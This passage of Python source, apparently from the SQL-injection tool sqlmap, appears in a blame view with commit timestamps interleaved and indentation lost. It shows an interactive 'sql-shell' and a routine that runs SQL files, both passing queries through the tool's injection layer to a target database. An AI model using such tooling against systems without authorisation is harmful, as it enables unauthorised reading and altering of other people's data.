else:
debugMsg = "executing unknown SQL type query: '%s'" % query
logger.debug(debugMsg)
2008-10-15 19:38:22 +04:00
inject.goStacked(query)
debugMsg = "done"
logger.debug(debugMsg)
output = False
kb.unescape = True
return output
2008-10-15 19:38:22 +04:00
def sqlShell(self):
2011-04-30 17:20:05 +04:00
infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms()
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
autoCompletion(sqlShell=True)
while True:
query = None
try:
query = raw_input("sql-shell> ")
query = utf8decode(query)
2008-10-15 19:38:22 +04:00
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not query:
continue
2012-02-22 19:53:36 +04:00
if query.lower() in ("x", "q", "exit", "quit"):
2008-10-15 19:38:22 +04:00
break
output = self.sqlQuery(query)
if output and output != "Quit":
conf.dumper.query(query, output)
elif not output:
pass
2008-10-15 19:38:22 +04:00
elif output != "Quit":
2010-10-21 02:09:03 +04:00
dataToStdout("No output\n")
2012-07-10 03:27:08 +04:00
def sqlFile(self):
infoMsg = "executing SQL statements from given file(s)"
logger.info(infoMsg)
for sfile in re.split(PARAMETER_SPLITTING_REGEX, conf.sqlFile):
sfile = sfile.strip()
if not sfile:
continue
query = getSQLSnippet(Backend.getDbms(), sfile)
2012-07-10 03:53:07 +04:00
infoMsg = "executing SQL statement%s from file '%s'" % ("s" if ";" in query else "", sfile)
2012-07-10 03:53:07 +04:00
logger.info(infoMsg)
conf.dumper.query(query, self.sqlQuery(query))